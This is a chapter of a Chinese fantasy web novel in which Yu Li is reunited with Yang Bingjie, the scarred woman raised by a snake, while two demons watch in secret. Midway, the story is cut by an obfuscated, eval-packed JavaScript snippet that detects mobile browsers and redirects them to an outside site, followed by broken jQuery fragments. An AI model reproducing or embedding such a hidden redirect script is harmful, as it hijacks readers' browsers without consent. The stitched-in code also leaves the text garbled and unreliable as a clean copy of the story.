50. 不与离人遇(九)

作品:《花妖偷渡手记

    郁离心想,这个世上,只有杨姑娘才会对他那么好,先是挺身而出阻止泉妖,又冲进大牢把他救出来,为他甘冒奇险,还受了那么重的伤。


    或许她真的没有死,只是以另一种样子活着。


    他努力靠近巨蛇的头,“你是冰洁吗?”


    巨蛇浑身一震,喷出一大口鲜血。


    郁离更慌了,“真的是你?身上的伤要不要紧?”


    “笨蛋!”


    郁离喉头哽住了,“我是个笨蛋,这么多年都没发现你。”


    “我不是你的杨姑娘!”


    “啊……”


    巨蛇喘息片刻,展开身躯,沿着山路爬坡。


    “八年了,你连她是人是蛇都不记得了吗?”


    郁离心情激荡,他这几天饱受折磨,那个内心深藏已久的渴望,原本被强行掩埋,经过泉妖、蛇妖连番刺激,又顽固地冒了出来,扎得他血肉模糊。


    “只要能再见到她,我不在乎她是什么样子,长鳞片也好,长尾巴也好,只要她还能回来……”


    巨蛇不说话了,吃力地在竹林中穿梭。


    这一条路郁离从没走过,地势极险,几乎笔直向上,插入山腹之中。竹林里乱石丛生,天光暗淡。


    身边逐渐来了许多小蛇,碧绿色的,眼睛又黑又亮,有的从土里钻出来,有的从竹子上爬下来,陪他们游走一段。


    巨蛇脑后的伤口周围颜色越来越深,血液始终无法凝结,它似乎看不见了,频频撞倒竹子,或是被石头绊住,巨大的身体不受控制,东摇西晃,只有尾巴还缠得紧紧的。


    郁离大喊,“放我下来,我自己能走。”


    巨蛇不理会,埋头横冲直撞。


    好在四周的竹子渐渐少了,只剩下左一堆右一堆的嶙峋怪石。它们尖锐的部分划开巨蛇下腹的皮肉,浸满蛇血,巨蛇却似乎毫无所觉,只是一味前进。


    终于,在乱石堆的尽头,它停了下来,浑身伤痕,鲜血淋漓。蛇头高高昂起,张开巨口,向天空发出无声的悲鸣。


    尾巴散开,郁离被甩了下去,几乎和蛇头同时落地。


    巨蛇黝黑的眼睛正对着他,瞳孔深处的光芒一点点消失了。


    它不动了。


    郁离踉跄着爬起来,看着地下的蛇尸,半是感激,半是畏惧。


    “冰洁真的在这里?你可……莫要骗我。”


    前方有个山洞,里面漆黑一片,什么都看不见。一阵腥风吹来,他起了满身鸡皮疙瘩。看来此地终年不见阳光,即使在仲春时节,也如同冬日般阴寒。


    徘徊许久,终于鼓起勇气,往那漆黑的山洞里走了几步。


    他立刻发现不对劲。这里根本不像人住的地方,没有床铺,没有被褥,没有炊具,地上散落着细小的动物头骨,看起来像是老鼠。


    郁离站在黑暗的山洞里,如坠冰窟。


    要是从来就没有希望,还好些。燃起了希望,又再一次绝望,那滋味,就如同重温八年前的那场噩梦,撕心裂肺,铭心刻骨。


    他久久不出来。距离巨蛇倒下的地方十步远,一块大石头后面,两双眼睛一瞬不瞬地注视着洞口。


    他们一路尾随而来,季月等得不耐烦,忍不住要冲出去告知真相,却被沈灵均拦了回来。


    “再等等,就快有人来了。”


    又过了一盏茶时分,郁离才从山洞里走出来,脸色惨白,活像一具被掏空的行尸走肉。


    他走到蛇头边,喊道,“你骗人。你们妖都爱骗人。”


    眼泪啪嗒啪嗒,掉在坚硬的鳞片上。


    “你们扯谎都不打草稿,她死在八年前的冬日,尸骨无存。”


    “妖死了以后,也会去阴曹地府吗?你替我打听打听,她转生去了何处,今生姓甚名谁?”


    “若打听到了,就回来告诉我一声。若打听不到,就回来把我一口吞了,我自己下去打听。”


    他泣不成声,颤抖着吼道,“别再扯谎骗人了!”


    身后响起一道喑哑的声音。


    “它没有骗你。”


    郁离僵在原地,一动都不敢动。


    身后流淌的暗影中,走出一个修长的身影。她全身裹在黑衣里,只露出一双眼睛,肩上背着一只鼓鼓囊囊的包袱。


    杨冰洁走到蛇尸旁,蹲下来。


    “蛇姨,你没来送我,我就知道出事了。你怎么这么傻?”


    苍白修长的手指抚上巨蛇冰凉的眼睛。


    “季姑娘说得没错,我早就应该离开这里,开始新的生活。”


    郁离低头看着她,连呼吸和心跳都忘记了,不知道该如何感受、如何思考。


    杨冰洁愣怔片刻,似乎下了决心,站起来转身面对他。


    四目相对。


    正是那双熟悉的眼睛。在梦里出现过千百回。


    郁离屏住呼吸,“冰洁,真的是你?”


    他生怕说得响了,声音化作风,把眼前如梦幻般的人影吹散。


    “是我。郁公子。”


    郁离突然感到一阵深切的悲伤,心里折磨他多年的惊涛骇浪,永远沉寂下去了。


    “你还活着,那真是……太好了。”


    杨冰洁深吸一口气,飞快地说道,“我当年摔下山崖,被蛇姨所救,八年来,和蛇姨同吃同住,同进同出。自从父亲把我推上那辆必死的马车,我就再也不想做人了。”


    她抬起手,干脆利落地把面纱解开,似乎觉得长痛不如短痛。


    郁离半张着嘴,茫然看着那道毁了半张脸的伤疤。


    “并不是有意吓你。你这些日子饱受惊吓,我也有所耳闻。蛇姨救你,便算是还清了我们昔日的情分。郁公子,就此别过吧。”


    最后几个字带着哽咽,几乎听不清。


    郁离仍像傻子一样站在原地。


    杨冰洁等了片刻,见他似乎没什么要说的。


    “多保重。”


    她转身的一刹那,郁离开口了。


    “冰洁。”


    只是用旧日的口吻念了她的名字,八年来垒起的心墙便轰然倒塌。


    “都是我不好。”他泣道,“我回来见到衣冠冢,怎么也不肯相信你父亲的话。我去过你家,逼问那些下人,却被赶了出来,去医馆逼问给你诊治的大夫,又被赶了出来。去衙门告官,才终于有些结果,他们抓住了一个强盗。可那只是个小喽啰,不会知道你被害的真相。


    “我若是个有用之人,应当杀光那伙强盗,为你出气。或是寻遍山林,活要见人,死要见尸。可我什么本事都没有,只会画画。


    “这片竹林,是你我最喜欢的地方。我想,你的在天之灵,或许会时不时回来看看。我现在画得比以前好了。那幅高山流水图,即使梅夫子看了,也夸赞有加呢。


    “你这些年没怎么磨练画技吧?没关系,我教你。”


    杨冰洁双肩颤动,眼泪无声地流进那道丑陋的伤疤。


    郁离痴痴地望着她的背影,哀求道,“冰洁,我们一起走吧。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084257|179499||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    杨冰洁用力擦干眼泪,转过身,“我说了,不想再过人的日子。”


    “那你为何守在这里八年?我来竹林里作画的时候,你有没有……有没有瞧见过?”


    “别自作多情了。”


    郁离瑟缩一下,像被扇了一巴掌。


    “酒!每个月圆之夜,我都会在作画石上留一杯酒!次日回来,酒杯总是空的。是你喝掉了,对不对?”


    杨冰洁愣了愣,“蛇偶尔也喝酒的。”


    郁离颓然抱住头,好像一个绝望的赌徒,已经打光所有的底牌。


    大石头后面,季月攥紧拳头,压低声音大骂,“这两个人是木头做的吗?车轱辘话说来说去又什么用?郁离的手没断吧,眼看她要走,也不拦一下?”


    沈灵均道,“不是每个人都像你一样,喜欢直接动手。冷静点。”


    杨冰洁向前走了几步,终归是放不下,犹犹豫豫地折回来,呆呆地望着斑斓的蛇身。


    “应该好好安葬它。”


    郁离忙道,“是,该挖个大坑,立个墓碑,每年回来祭扫。”


    “蛇姨说过,身死之后,要一把火烧个干净。”


    郁离大惊,“在山上纵火,那可万万使不得。”


    杨冰洁沉下脸,“与你何干?”


    郁离小心翼翼道,“我想和你一起。不管你要做什么,我都想和你一起。”


    “一起吃老鼠么?”


    “老鼠?!那……倒也不是不行。不过能不能……能不能煮熟了再吃?”


    杨冰洁肩头微颤,似乎是轻笑了一声。


    “还有什么?哪怕是上刀山下火海,我绝不皱一下眉头。不瞒你说,郁某如今已是声名狼藉,还望杨姑娘不要嫌弃。”


    杨冰洁注视着他。离得这么近,比以往躲在竹林间看得清楚多了。他现在的样子惨不忍睹,脸上又是伤又是泪,眼中盛着两汪水,眼底却有笑意,依稀是当年那个无忧无虑的画室学徒。


    她想移开眼睛,却怎么也做不到。


    “告诉你我想做什么,我想抹掉这条恶心的疤,治好喉咙的伤,把身上不对劲的地方都丢掉,脱胎换骨,做个新的杨冰洁。但,那都是不可能的。”


    郁离摇摇头,“这个旧的已经很好了。郁某生平所愿,就是和这个旧的杨冰洁一起,寻个山清水秀的地方,耕田织布,种花煮茶,林间作画,过最平凡的日子。我和全家反目,把婚书抢了出来。当年的婚约仍在,你可不能……不能食言。”


    杨冰洁再也忍不住,扑到他怀里,嚎啕大哭,“你骗人!”


    郁离这时终于发现自己还有两条胳膊,可以牢牢地抱住她,“是真的,不信我回家拿给你看。”


    两张脸紧紧贴在一起,饱经风霜的嘴唇吻上破碎的嘴唇,苦的涩的咸的酸的泪珠,滴在舌尖上,全部都变成甜的。


    季月突然感觉脸上有湿湿的东西滑过,伸手一摸,沾了满手的露水。


    她外表看起来和人一样,只是身为花妖,血管里流的是汁液,眼中掉下的是露珠。


    她这是……流泪了?


    沈灵均推了推她的胳膊,“走了,别看了。”


    “别吵”,她嗔道,“正是精彩的时候。”


    轰隆,山体和大地连接的部分猛地一震,头顶的暗淡天光中,洒下大颗大颗的雨点。


    风里的腥臭味顿时减弱。


    那雨的气息格外熟悉。


    季月心中一凛。


    泉妖出水了。